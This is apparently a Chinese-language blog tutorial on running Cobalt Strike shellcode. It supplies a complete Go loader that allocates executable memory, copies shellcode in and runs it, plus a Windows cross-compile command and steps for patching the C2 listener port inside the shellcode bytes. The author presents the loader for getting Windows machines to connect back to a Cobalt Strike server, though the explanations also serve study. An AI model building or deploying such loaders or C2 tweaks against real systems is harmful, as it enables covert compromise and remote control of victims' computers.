淺談cs的shellcode的使用方法
準備工作
shellcode是一段用于利用軟件漏洞而執行的代碼,shellcode為16進制的機器碼,因為經常讓攻擊者獲得shell而得名。
我們經常在CS里面生成指定編程語言的payload,而這個payload里面就是一段十六進制的機器碼。
使用cs生成一個c的payload。

這個文件里面就是一段shllcode。

接下來我們從編寫shellcode加載器開始到運行上線CS來分析一下這個shellcode做了什么。
0x01 shellcode加載器介紹
及cs上線操作
要想運行shellcode并上線機器的話,最常見的辦法就是編寫shellcode加載器,那么什么是shellcode加載器呢?
我們知道在計算機中無論什么程序到最后都會轉換成二進制代碼讓CPU去運行,而CPU是負責運算和處理的,內存是交換數據的,沒有內存,CPU就沒法接收到數據。
內存是計算機與CPU進行溝通的橋梁。計算機中所有程序的運行都是在內存中進行的。
所以shellcode加載器就是為shellcode申請一段內存,然后把shellcode加載到內存中讓機器執行這段shellcode,也就是說這個加載器就是個讓shellcode運行起來的東西(這不是廢話么)。
下面我復制粘貼了段go語言的shellcode的加載器,我們可以用這歌加載器來上線windows機器。
package main
import ( _"io/ioutil" "os" "syscall" "unsafe")
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") //調用kernel32.dll ntdll = syscall.MustLoadDLL("ntdll.dll") //調用ntdll.dll VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") //使用kernel32.dll調用ViretualAlloc函數 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") //使用ntdll調用RtCopyMemory函數 shellcode_buf = []byte{ // 你的shellcode,0x3f, 0x2e...格式的 })
func checkErr(err error) { if err != nil { //如果內存調用出現錯誤,可以報出 if err.Error() != "The operation completed successfully." { //如果調用dll系統發出警告,但是程序運行成功,則不進行警報 println(err.Error()) //報出具體錯誤 os.Exit(1) } }}
func main() { shellcode := shellcode_buf
//調用VirtualAlloc為shellcode申請一塊內存 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) }
//調用RtlCopyMemory來將shellcode加載進內存當中 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) checkErr(err)
//syscall來運行shellcode syscall.Syscall(addr, 0, 0, 0, 0)}
在shellcode_buf里面放好前面cs生成的c的payload時后來編譯運行。
windows機器上正常編譯,MacOS與linux機器或者其他操作系統上運行下面這段代碼來編譯。
CGO_ENABLED=0 GOOS=windows go build main.go

這行自行腦補一張win10打開main.exe的圖片。

成功上線,這就是我們上線機器的過程,接下來我們來一步步的去分析這個過程事如何實現的。
0x02 shellcode加載器所用數據類型及 Windows API 函數大致介紹
[ + ] VirtualAlloc
VirtualAlloc 是 Windows API 函數。該函數的功能是在調用進程的虛地址空間,預定或者提交一部分頁。
簡單點的意思就是申請內存空間。包含在 Windows 系統文件 Kernel32.dll 中。
使用詳情:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

調用VirtualAlloc的話需要有四個參數,如文檔中提到的lpAddress、dwSize、flAllocationType、flProtect,其中每個參數的介紹如下:
lpAddress:內存指針,規定開始的地方
dwSize:要用內存的大小
flAllocationType*:內存類型,規定要怎么去用這塊內存
flProtect:內存屬性
[ + ] RtlMoveMemory
RtlCopyMemory是 Windows API 函數。該函數可以從指定內存中復制內存至另一內存里。
簡稱:復制內存。它包含在 Ntdll.dll 中。

調用 RtlMoveMemory 的話需要三個參數,如文檔中提到的Destination、Source、Length,其中每個參數的介紹如下:
Destination:指向要復制字節的目標內存塊的指針
Source:指向要復制字節的源內存塊的指針
Length:從源復制到目標中的字節數
[ + ] uintptr*
整型,可以足夠保存指針的值得范圍
[ + ] uintptr*
系統調用。syscall包包含一個指向底層操作系統原語的接口,它接收4個參數,其中trap為中斷信號,a1,a2,a3為底層調用函數對應的參數。具體用法為:
syscall.Syscall(trap, a1, a2, a3 uintptr)
其中用不到的補0就行。
[ + ] golang調用windows api
參考文章:https://www.jianshu.com/p/8e454a012cdc
關鍵詞:golang調用windows api(這里主要針對go語言,師傅們可以嘗試去寫一個其他語言的shellcode加載器,原理都是調用windows api)。
0x03 shellcode加載器代碼分析
加載器加載shellcode就是用go調用windows api然后操作內存來實現的。
1. 從入口函數main起看,首先是聲明一個shellcode變量并賦值。
shellcode := shellcode_buf
2. 接下來用VirtualAlloc為shellcode申請了一段內存空間。
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
在這行代碼中,我們用go語言調用了windpws api中的VirtualAlloc函數,它在 Windows 系統文件 Kernel32.dll 中(0x02開頭有官方的函數用法介紹),因此我們在開頭有幾行代碼是調用dll中的函數的。

繼續來看VirtualAlloc函數,這里面有四個參數分別是:
addrlpAddress <== 0 // 內存指針,規定開始的地方。dwSize <== uintptr(len(shellcode)) // 內存分配的大小,必須得是uintptr型flAllocationType <== MEM_COMMIT|MEM_RESERVE // 內存類型,規定要怎么去用這塊內存,具體見下表flProtect <== PAGE_EXECUTE_READWRITE // 內存屬性,具體見下下表
MEM_COMMIT|MEM_RESERVE

3. 然后調用RtlCopyMemory函數來將shellcode加載進內存當中。
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
RtlCopyMemory函數對應的三個參數分別是:
Destination <== addr變量,指向要復制字節的目標內存塊的指針。Source <== (uintptr)(unsafe.Pointer(&shellcode[0])),指向要復制字節的源內存塊的指針。Length <== uintptr(len(shellcode)) 從源復制到目標中的字節數。
4. 最后使用syscall來執行shellcode
syscall.Syscall(addr, 0, 0, 0, 0) // 用不到的就補0
到這里一個基本的shellcode加載器就實現了,總而言之就是:
申請內存-->把shellcode加載到內存-->讓這段內存里的東西運行起來。
0x04 從shellcode里直接修改上線IP與端口
一、前奏小知識
1. 端口為什么會是65535個?
在TCP、UDP協議的開頭,會分別有16位來存儲源端口號和目標端口號,所以端口個數是216-1=65535個。簡單來講端口就是從十六進制的0000-FFFF

2. 內存地址是從低地址到高地址記錄的。例如

一個內存單元比如0x000001可以存放一個字節,比如把55555轉換成十六進制就是D903:

而一個字節就是D9或者03,在D903中,因為字在寄存器中是這樣儲存的。

所以D9屬于高位,03屬于低位,如果要放在內存里面從0x000001開始的話就是0X000001放著03,0x000002放著D9+
二、修改上線IP與端口
假如你生成的端口為5555,把它轉換為十六進制就是D903,我們反過來搜03D9就可以了(根據生成shellcode的格式自行搜索,或者只搜索一個D9,然后看它前面的是不是03,如果是的話就說明這倆個字節就是我們的上線端口),這樣就確定了監聽端口的位置。

接下來把要替換的端口號轉換成十六進制。

然后再倒序修改shellcode里面監聽的端口號的位置。

好了,這樣就修改成功了,放到加載器去上線吧,修改監聽IP,留給大家思考。
求走過路過的大佬的一個小贊。